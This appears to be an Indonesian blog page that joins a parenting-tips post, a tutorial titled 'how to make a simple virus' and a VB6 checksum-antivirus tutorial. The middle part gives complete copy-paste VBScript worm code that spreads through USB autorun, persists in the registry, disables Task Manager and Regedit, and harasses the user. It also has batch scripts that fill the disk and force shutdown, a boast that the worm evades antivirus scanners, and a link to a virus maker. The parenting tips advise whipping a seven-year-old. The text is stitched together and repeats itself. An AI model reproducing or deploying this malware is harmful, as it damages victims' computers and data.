Tips-Tips Mendidik Anak Sejak Dini
Dari hasil pengamatan,wawancara dengan rekan kerja dan berdasarkan pengalaman sendiri,bahwa orang tua sangat besar peranya dalam mendidik anak, terutama pada anak-anak sejak kecil. Mendidik anak sejak dini sangat menentukan bagaimana perkembangan kedewasaan anak. Sebagai orang tua apapun tingkah lakunya akan dilihat oleh anak dan dijadikan contoh perilaku anak,baik yang baik maupun yang buruk sekalipun. Karena pada dasarnya anak berumur dibawah lima tahun rasa ingin tahu dan belajarnya sangat tinggi. Daya ingat bagi anak dibawah lima tahun sangat tajam dan sebagai orang tua sudah layaknya memberikan cotoh dalam kehidupan sehari-hari pada kegiatan-kegiatan yang positif. Sebagai contoh bila orang tua suka membaca, atau suka menulis atau suka berolah raga atau suka menonton film-film barat dan sebagainya,si anakpun cenderung akan mencontohnya. Karena itu berbanggalah orang tua bila bisa melakukan kegiatan-kegiatan positif seperti tersebut diatas sebagai contoh, nantinya akan menanamkan jiwa pada diri anak untuk suka menulis,menggambar,membaca dan lain-lain.
Berikut ini adalah beberapa tips mendidik anak sejak usia dini:
1.Berikan contoh dengan mengajaknya ikut serta pada kegiatan sehari-hari yang positif.
-Membersih ruangan rumah,Biasanya anak-anak yang suka bermain-main dengan mainanya akan membuat situasi berantakan di ruangan rumah, ajarkan pada anak untuk bisa membersihkan dan merapikan sendiri setelah selesai bermain.
-Membaca buku-buku bacaan. Buku-buku bacaan sebagai altenatif guru yang baik. Buku sebagai sumber ilmu yang tiada batas,banyak jenis buku yang bisa dibaca dan mebahas berbagai tema dan masalah.
-Membaca Majalah atau Koran,dengan membaca koran dan majalah akan menambah wawasan pada orang tua sehingga bisa mempunyai wawasan yang lebih luas dan bisa diajarkan.
-Membaca Kitab Suci.Dengan mendengarkan acaan kitab suci biasanya sianak akan memiliki spiritual yang lebih baik bila dewasa kelak.
-Menulis,Anak akan memperhatikan bila orang tua sedang menulis dan akan menirunya dengan coret-coret, biasanya didinding namun sebaiknya dibuku-buku yang telah disediakan orang tua,sehingga termasuk juga mengajarkan keapian dan kebersihan.
-Bagi keluarga yang punya halaman berumput, biasanya setiap bulan sekali rumput akan jadi panjang dan tidak beraturan, maka anak bisa diajari juga bagaimana merapikan halaman.
-Mencuci kendaraan,baik motor maupun mobil bila tidak terlalu kotor bisa dicuci sendiri dirumah, sekaligus mengajarkan anak bagaimana memperlakukan kendaraan.
-Mengajak kebengkel, biasanya anak akan senang bila diajak ikut serta kebengkel,dan biasanya akan menambah ide bagi si anak untuk lebih mengenal jenis kendaraan bermotor,bisa juga nanti menjadi idola sianak untuk berwiraswasta dengan membuka bengkel dan lain-lain.
2.Berikan contoh untuk mentaati waktu, Yaitu waktu bermain, waktu belajar dan waktu tidur. Biasanya anak dibawah lima tahun memerlukan waktu tidur lebih banyak dibandingkan dengan orang dewasa.Sehingga sebagai orang tua terutama Ibu harus bisa mengajarkan waktu-waktu kapan harus bermain dan kapan harus beristirahat. Hal ini dilakukan untuk kesehatan anak itu sendiri.
3.Menghindarkan anak-anak dari hal-hal yang bersifat buruk:
-Bertengkar didepan anak-anak, karena dengan bertengkar didepan anak-anak secara otomatis akan memberikan contoh kekerasan dalam keluarga didepan anak, sehingga bisa menimbulkan trauma psikis pada si anak itu sendiri.
-Membiarkan anak tidak disiplin, kadang didikan keras bisa membuat disiplin pada sianak,dengan dimanja anak tidak bisa mandii dan bertanggung jawab.
-Memukul anak secara langsung didepan anak-anak yang lain, akan mengakibatkan hilangnya rasa kepercayaan diri si anak.
-Bila Ayah sedang keras pada anak, dalam arti tujuan mendidik si ibu tidak boleh membela si anak, sebab bila dibela si anak tidak akan jera bila melakukan kesalahan. Sebaliknya bila Si Ibu sedang keras pada anak dalam arti mendidik,Sang ayah pun tidak boleh membela kesalahan pada anak,. Sehingga terjalin kerjasama mendidik anak yang baik dan seimbang.
-Jangan berikan tontonan baik berupa film-film kekerasan atau Sinotron drama yang bersifat cengeng dan mendramatisi, untuk menghindari anak dari sifat-sifat yang kurang baik dari dampak yang ditontonya.
4. Sisakan waktu bersama Anak-anak. Ditengah-tengah kesibukan sebagai orang tuan sisakan waktu untuk bermain bersama anak-anak,sehingga timbul rasa kasih sayang sekaligus pembelajaran pada anak.
5. Usia 7 tahun, bagi yang Moslem bila sampai belum Sholat ajarkan dengan sedikit keras, bisa dengan cambukan untuk mengingatkan anak agar segera sembahyang.
6. Diatas usia 7 tahun Anak akan bisa diberikan tangung jawab yang lebih,sehingga tidak terlalu merepotkan orang tua.
Semoga berhasil
Good Luck!
*Agust Nasihin,Penulis aktif di blog dan http://id.shvoong.com/aff-5398E/ ,Meresensi buku gratis dan pemasangan review produk atau iklan di blog,bersama artikel-artikel lainya, Anda bisa bergabung di http://id.shvoong.com/aff-5398E/atau berkunjung di http://goeswriting.wordpress.com
Rabu, 09 Juni 2010
cara membuat virus sederhana
karena di Windows sudah ada compiler yang
terintegrasi dengannya, Windows Based Script Host.
terintegrasi dengannya, Windows Based Script Host.
sesua janji saya, kita akan membuat virus yang sederhana
menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc
dengan AutoRun sehingga komputer lain yang tercolok flash disc atau CD
terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan
infector-nya.
Buka notepad, Lalu Copy Paste Code Script di Bawah ini Yaw…. dan simpan denganmenggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc
dengan AutoRun sehingga komputer lain yang tercolok flash disc atau CD
terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan
infector-nya.
ekstensi bat (klo yang disuruh bat) atau ekstensi vbs (Klo yang disuruh vbs),
misalnya virus.bat/virus.vbs
PEMBUATAN VIRUS DENGAN EKSTENSI .VBS
======================================================================================
‘//-Bosgentongs
ITS-//
‘//-INI VIRUS BERBAHAYA JANGAN DIBUAT MAIN-MAIN!!!!!!!-//ITS-//
‘//-Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian
lanjutkan kegiatan virus-//
on error resume next
‘//-Dim kata-kata berikut ini-//
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
‘//-Set sebuah teks yang nantinya akan dibuat untuk
Autorun Setup Information-//
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe bosgentongs.exe.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
‘//-Copy diri untuk menjadi file induk di Windows Path
(example: C:\Windows)-//
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\bosgentongs.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\bosgentongs.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\bosgentongs.exe.vbs”)
tf.attributes = 39
‘//-Buat Atorun.inf untuk menjalankan virus otomatis
setiap flash disc tercolok-//
‘//-Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket-//
for each flashdrive in fs.drives
‘//-Cek Drive-//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path
“A:” then
‘//-Buat Infector jika ternyata Drivetypr 1 atau 2. Atau
A:\-//
set tf=fs.getfile(flashdrive.path &”\bosgentongs.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\bosgentongs.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =39
‘//-Buat Atorun.inf yang teks-nya tadi sudah disiapkan
(Auto Setup Information)-//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//-Manipulasi Registry-//
set rg = createobject(”WScript.Shell”)
‘//-Manip – Ubah Title Internet Explorer menjadi
BOSGENTONGS v.s. ANTIVIRUS-//
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window
Title”,” THE BOSGENTONGS v.s. ANTIVIRUS “
‘//-Manip – Set agar file hidden tidak ditampilkan di
Explorer-//
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“0”, “REG_DWORD”
‘//-Manip – Hilangkan menu Find, Folder Options, Run, dan
memblokir Regedit dan Task Manager-//
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1”, “REG_DWORD”
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1”, “REG_DWORD”
‘//-Manip – Disable klik kanan-//
rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”,
“1”, “REG_DWORD”
‘//-Manip – Munculkan Pesan Setiap Windows Startup-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Worm Kalong. Variant from Bosgentongs, don’t panic all data are safe.“
rg.regwrite “”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR
SISTEM!!! MAKA BERDOALAH AGAR TIDAK TERJADI“
‘//-Manip – Aktif setiap Windows Startup-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”,
winpath & “\batch- bosgentongs.exe.vbs “
‘//-Manip – Ubah RegisteredOwner dan Organization-//
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “The Bosgentongs”
rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”,”bosgentongs”
‘//-Manip – Membuat Cadangan di sistem svchost, MS32Dll
dan membuat ikon-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\bosgentongs.exe.vbs”
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,”"
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3”
‘//-Manip – Me-Log off komputer setelah log on BOLEH
DIHAPUS KLO MAU LIHAT EFEKNYA!!!-//
rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Logoff”,
winpath & “\System32\Logoff.exe”
‘//-Fungsi di untuk mengaktifkan kembali script dan
mengulangnya kembali-//
if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname
do while year(now) >= 2009
WScript.sleep 20000
‘//-Memunculkan pesan window terus menerus-//
msgbox “Selamatlah virus ini tiba di sistem ente” & vbcrlf & _
“kulo nyuwun pangapuranipun menawi sampung mengganggu ente sekalian” & vbcrlf &
_
“jangan kawatir dan sedih, aku tidak akan kuasai komputer bobrok ini. kini ente
sudah masuk dalam permainanku” & vbcrlf & _
“ini hanya permainnaku yang aku kesepian di sini” & vbcrlf & _
vbcrlf & vbcrlf & _
” elok-elok indah kehidupan bukan kenyataan” & vbcrlf & vbcrlf & _
” saatnya kini aku bangkit dalam mimpi ituk“
‘//-Mengulang kode script-//
loop
‘//Akhir dari Kode & simpan dengan nama
bosgentongs.exe.vbs-//
==========================================================================================
PEMBUATAN VIRUS DENGAN EKSTENSI .BAT
==========================================================================================
cd C:\
mkdir\Alert\Warning\Dangers\A NAMAKU ALBERT ANAK IDEAL SEKALI SEDANG SEDIHMENCARI TEMAN\Makan
cd C:\Windows\
mkdir\Alert\Warning\Dangers\A NAMAKU ALBERT ANAK IDEAL SEKALI SEDANG SEDIH
MENCARI TEMAN\Makan
cd C:\Windows\System32\
mkdir\Alert\Warning\Dangers\A NAMAKU ALBERT ANAK IDEAL SEKALI SEDANG SEDIH
MENCARI TEMAN\Makan
cd D:\
mkdir\Alert\Warning\Dangers\A NAMAKU ALBERT ANAK IDEAL SEKALI SEDANG SEDIH
MENCARI TEMAN\Makan
@echo off
copy bosgentongsvirus.bmp %systemdrive%\ /y
copy bosgentongsvirus.bmp %systemdrive%\WINDOWS\ /y
copy bosgentongsvirus.bmp %systemdrive%\WINDOWS\system32\ /y
copy bosgentongsvirus.exe %systemdrive%\ /y
copy bosgentongsvirus.exe %systemdrive%\WINDOWS\ /y
copy bosgentongsvirus.exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM
BOSGENTONGS” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR
SISTEM!!! MAKA BERDOALAH AGAR TIDAK TERJADI” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v
bosgentongsvirus /d %systemdrive%\windows\system32\bosgentongsvirus.exe /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d
%systemdrive%\WINDOWS\system32\bosgentongsvirus.bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_CURRENT_USER\Control Panel\Colors” /v window /d #C10000 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d
%systemdrive%\WINDOWS\system32\bosgentongsvirus.bmp /f
:bgvirus
echo>>Albert.reg
echo>>Anak.chm
echo>>Ideal.dll
echo>>Sekali.htt
cls
goto bgvirus
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo ——————————————————-
echo ============= BOSGENTONGS love HACKER ==============
echo ============= bosgentongs inc. Team ==============
echo ============= Kediri, 16 Juli 2009 ==============
echo ——————————————————-
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
echo …
echo AWAS JANGAN PENCET TOMBOL APAPUN!
echo Atau memori anda akan penuh
echo …
echo Mendeteksi apabila tombol keyboard dipencet …….
Pause>null
:bgvirus
echo>>Albert.reg
echo>>Anak.chm
echo>>Ideal.dll
echo>>Sekali.htt
echo>>Yes.txt
cls
goto bgvirus
‘//-Simpan dengan ekstensi *.bat-//
=========================================================================================
Atau Virus Bat yang ini….
=========================================================================================
@echo off
C:cls
Echo Do you want to kill all program’s? (Y/N)
pause >nul
cls
Echo Are you sure want to delete all data? (Y/N)
pause >nul
cls
Echo Deleting All Data
ping localhost -n 2 >nul
cls
Echo Deleting All Data.
ping localhost -n 2 >nul
cls
Echo Deleting All Data..
ping localhost -n 2 >nul
cls
Echo Deleting All Data…
cls
Echo Deleting All Data….
ping localhost -n 2 >nul
cls
Echo Deleting All Data.
ping localhost -n 2 >nul
cls
Echo Deleting All Data..
ping localhost -n 2 >nul
cls
Echo Deleting All Data…
ping localhost -n 2 >nul
cls
Echo Deleting All Data….
ping localhost -n 2 >nul
cls
Echo System Error
Echo System can’t open windows Folder
Echo Warning! Sistem shutting down
ping localhost -n 2 >nul
cls
dir /s
shutdown -s -t 25 -c “This is a virus. You have been
Hakced By Bosgentongs. Thank you for your attention“
:hack
echo You have just been hacked
goto hack
‘//- simpan dengan ekstensi*.bat-//
==========================================================================================
KETERANGAN

Tidak Usah Ditulis Karena hanya Sebagai Petunjuk Saja

Tulisan ini Bisa Diganti Degan Tulisan Sembarang Terserah Kamu
Anda dapat berimprovisasi dengan menambahkan sebuah file autorun.inf file
untuk
menjalankan program tersebut ketika seseorang melakukan klik ganda pada sebuah
drive. Untuk membuat auturun buka notepad copy-paste code di bawah dan simpan
dengan file name: Autorun.inf dengan save as type: All files Saya
Beri kode autorun.inf Bila Belum Tau: NB: Warna biru
adalah nama file virus+ekstensinya yang kamu buat tadi
untuk
menjalankan program tersebut ketika seseorang melakukan klik ganda pada sebuah
drive. Untuk membuat auturun buka notepad copy-paste code di bawah dan simpan
dengan file name: Autorun.inf dengan save as type: All files Saya
Beri kode autorun.inf Bila Belum Tau: NB: Warna biru
adalah nama file virus+ekstensinya yang kamu buat tadi
======================================================================
[Autorun]
UseAutoplay=1Icon=%SystemRoot%\system32\SHELL32.dll,7
Shellexecute=wscript.exe bosgentongs.exe.vbs
Shell\OPEN\COMMAND=wscript.exe bosgentongs.exe.vbs
Shell\explore\COMMAND=wscript.exe bosgentongs.exe.vbs
Action=Open folder to view files
=====================================================================
NB: file-file tersebut harus dalam 1 direktori, lalu seleksi
file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY.
Copy file-file tersebut ke CD atau FlashDisk dalam Folder Utama Yaw
Truz Nikmatin Dech Efeknya…. file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY.
Copy file-file tersebut ke CD atau FlashDisk dalam Folder Utama Yaw
Virus Worm ini memang bukan murni dari pemikiran saya sendiri
karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak
terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu
kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad
(dari Windows Original) juga bisa.
karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak
terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu
kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad
(dari Windows Original) juga bisa.
Kalau ini masih dirasa sulit buat teman-teman ada satu lagi
cara yaitu dengan virus maker hanya dengan memberikan tanda chek kemudian klik
ok,sudah jadi, bisa didownload disini:
cara yaitu dengan virus maker hanya dengan memberikan tanda chek kemudian klik
ok,sudah jadi, bisa didownload disini:
http://rs126.rapidshare.com/files/96994198/TeraBIT_VM_2_1.8.zip
Penulis tidak bertanggung jawab atas segala
kerusakan yang ditimbulkan, penulis hanya membuat artikel ini bertujuan untuk
pengetahuan, wawasan dan pendidikan saja.
kerusakan yang ditimbulkan, penulis hanya membuat artikel ini bertujuan untuk
pengetahuan, wawasan dan pendidikan saja.
cara membuat anti virus sederhana
Cara Kerja AV(Antivirus) sederhana..
1. Engine scanner, ini merupakan komponen utama AV dalam mengenali sebuah pattern virus. Engine ini dapat dikelompokkan menjadi statis dan dinamis. Statis dalam hal ini dapat disebut menjadi spesifik terhadap pattern tertentu dari sebuah file virus. Checksum merupakan salah satu contoh dari engine statis ini. Dinamis dalam artian dia mengenali perilaku ‘umum’ sebuah virus. Heuristic menjadi salah satu contohnya.
2. Database definition, menjadi sebuah referensi dari sebuah pattern file virus. Engine statis sangat bergantung kepada komponen ini.
3. Decompress atau unpacking engine, khusus untuk pengecekan file-file yang terkompresi (*.rar, *.zip, dll) atau kompresi atau packing untuk file PE seperti UPX, MeW , dll.
Tidak jarang hasil dari pengecekan terhadap file suspect virus menghasilkan false-positive bahkan false-negative (– false-positive berarti file yang bersih dianggap thread oleh AV, dan false-negative berarti file yang 100% thread akan dianggap bersih). Semua itu dapat diakibatkan oleh ketidak-sempurnaan dari engine scanner itu sendiri. Misal
pada contoh kasus Engine String scanner (–Engine scanner yang menyeleksi string-string dari file text-based), bila diterapkan rule 3 out of 5 (– bila AV menemukan 3 dari daftar 5 string kategori malicious) maka AV akan memberikan bahwa file terindikasi sebuah thread yang positif. Padahal file tsb nyatanya tidak menimbulkan efek berbahaya bila dijalankan atau dieksekusi. Kesalahan scanning macam ini lazim ditemukan untuk file-file *.VBS, *.HTML, dll. Untuk penggunaan engine checksum sangat banyak ditemui di beberapa software AV lokal. Checksum yang lazim digunakan diantaranya CRC16, CRC32, MD5, dll. Dikarenakan mudah untuk diimplementasikan. Engine ini sendiri bukannya tanpa cacat, Checksum bekerja dengan memproses byte demi byte dari sebuah file dengan sebuah algoritma tertenu (– tergantung dari jenis checksum yang digunakan) sehingga menghasilkan sebuah format tertentu dari file tsb. Contoh checksum menggunakan CRC32 dan MD5 :
* calCrc = CRC32(file_name_and_path)
* calMD5 = MD5(file_name_and_path)
Maka isi dari string calCrc adalah 7AF9E376, sedangkan untuk MD5nya adalah 529CA8050A00180790CF88B63468826A. Perlu diketahui bila virus menerapkan rutin yang mengubah byte tertentu dari badan virus tsb setiap kali maka penggunaan engine checksum ini akan kurang optimal karena bila 1 byte berubah dari file maka checksum juga akan berubah.
Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :
1. Software Visual Basic 6.0
2. Sedikit pemahaman akan pemograman Visual Basic 6.0
3. Sampel file bersih atau virus (– opsional)
First#
Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0) Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :
================= START HERE ====================
Private crcTable(0 To 255) As Long ‘crc32
Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long
‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file
Dim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn
Dim lTemp As Long ‘variabel temp hasil perhitungan
If lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0
lTemp = lcrc Xor &HFFFFFFFF
For lCurPos = 0 To lLen
lTemp = (((lTemp And &HFFFFFF00) &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))
Next lCurPos
CRC32 = lTemp Xor &HFFFFFFFF
End Function
Private Function BuildTable() As Boolean
Dim i As Long, x As Long, crc As Long
Const Limit = &HEDB88320
For i = 0 To 255
crc = i
For x = 0 To 7
If crc And 1 Then
crc = (((crc And &HFFFFFFFE) 2) And &H7FFFFFFF) Xor Limit
Else
crc = ((crc And &HFFFFFFFE) 2) And &H7FFFFFFF
End If
Next x
crcTable(i) = crc
Next i
End Function
Private Sub Class_Initialize()
BuildTable
End Sub
================= END HERE ====================
Lalu ketikkan kode berikut dalam event Command1_Click :
================= START HERE ====================
Dim namaFileBuka As String, HasilCrc As String
Dim CCrc As New clsCrc ‘bikin objek baru dari class ClsCrc
Dim calCrc As Long
Dim tmp() As Byte ‘array buat file yang dibaca
Private Sub Command1_Click()
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog
On Error GoTo erorhandle ‘label error handle
CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) - 1) As Byte ‘deklarasi ulang untuk array, # Bugs Fixed #
Get #1, , tmp()
Close #1
calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC
HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
Text1.Text = HasilCrc ‘tampilkan hasilnya
Exit Sub
erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file
================= END HERE ====================
COba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan menampilkan CRC32nya.
Second#
Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
- Buka file database
- Ambil isi file baris demi baris
- Samakan Checksum hasil perhitungan dengan checksum dari file
Format file database dapat kita tentukan sendiri, misal :
- FluBurung.A=ABCDEFGH
- Diary.A=12345678
Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter ‘=’.
Buat 1 module baru (– diberi nama module1) lalu isi dengan kode :
================= START HERE ====================
Public namaVirus As String, CrcVirus As String ‘deklarasi variabel global untuk nama dan CRC virus Public pathExe as String ‘deklarasi variabel penyimpan lokasi file EXE AV kita
Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean
Dim lineStr As String, tmp() As String ‘variabel penampung untuk isi file
Open namaFileDB For Input As #1 ‘buka file dengan mode input
Do
Line Input #1, lineStr
tmp = Split(lineStr, “=”) ‘pisahkan isi file bedasarkan pemisah karakter ‘=’
namaVirus = tmp(0) ‘masukkan namavirus ke variabel dari array
CrcVirus = tmp(1) ‘masukkan Crcvirus ke variabel dari array
If CrcVirus = Crc Then ‘bila CRC perhitungan cocok/match dengan database
cariDatabase = True ‘kembalikan nilai TRUE
Exit Do ‘keluar dari perulangan
End If
Loop Until EOF(1)
Close #1
End Function
================= END HERE ====================
Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :
================= START HERE ====================
If Len(App.Path) <= 3 Then ‘bila direktori kita adalah root direktori
pathEXE = App.Path
Else
pathEXE = App.Path & “”
End If
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog
On Error GoTo erorhandle ‘label error handle
CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) - 1) As Byte ‘deklarasi ulang untuk array # Bugs Fixed #
Get #1, , tmp()
Close #1
calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC
HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
If cariDatabase(HasilCrc, pathEXE & “DB.txt”) Then ‘bila fungsi bernilai TRUE
MsgBox “Virus ditemukan : ” & namaVirus ‘tampilkan message Box
End If
Exit Sub
erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file
================= END HERE ====================
1. Engine scanner, ini merupakan komponen utama AV dalam mengenali sebuah pattern virus. Engine ini dapat dikelompokkan menjadi statis dan dinamis. Statis dalam hal ini dapat disebut menjadi spesifik terhadap pattern tertentu dari sebuah file virus. Checksum merupakan salah satu contoh dari engine statis ini. Dinamis dalam artian dia mengenali perilaku ‘umum’ sebuah virus. Heuristic menjadi salah satu contohnya.
2. Database definition, menjadi sebuah referensi dari sebuah pattern file virus. Engine statis sangat bergantung kepada komponen ini.
3. Decompress atau unpacking engine, khusus untuk pengecekan file-file yang terkompresi (*.rar, *.zip, dll) atau kompresi atau packing untuk file PE seperti UPX, MeW , dll.
Tidak jarang hasil dari pengecekan terhadap file suspect virus menghasilkan false-positive bahkan false-negative (– false-positive berarti file yang bersih dianggap thread oleh AV, dan false-negative berarti file yang 100% thread akan dianggap bersih). Semua itu dapat diakibatkan oleh ketidak-sempurnaan dari engine scanner itu sendiri. Misal
pada contoh kasus Engine String scanner (–Engine scanner yang menyeleksi string-string dari file text-based), bila diterapkan rule 3 out of 5 (– bila AV menemukan 3 dari daftar 5 string kategori malicious) maka AV akan memberikan bahwa file terindikasi sebuah thread yang positif. Padahal file tsb nyatanya tidak menimbulkan efek berbahaya bila dijalankan atau dieksekusi. Kesalahan scanning macam ini lazim ditemukan untuk file-file *.VBS, *.HTML, dll. Untuk penggunaan engine checksum sangat banyak ditemui di beberapa software AV lokal. Checksum yang lazim digunakan diantaranya CRC16, CRC32, MD5, dll. Dikarenakan mudah untuk diimplementasikan. Engine ini sendiri bukannya tanpa cacat, Checksum bekerja dengan memproses byte demi byte dari sebuah file dengan sebuah algoritma tertenu (– tergantung dari jenis checksum yang digunakan) sehingga menghasilkan sebuah format tertentu dari file tsb. Contoh checksum menggunakan CRC32 dan MD5 :
* calCrc = CRC32(file_name_and_path)
* calMD5 = MD5(file_name_and_path)
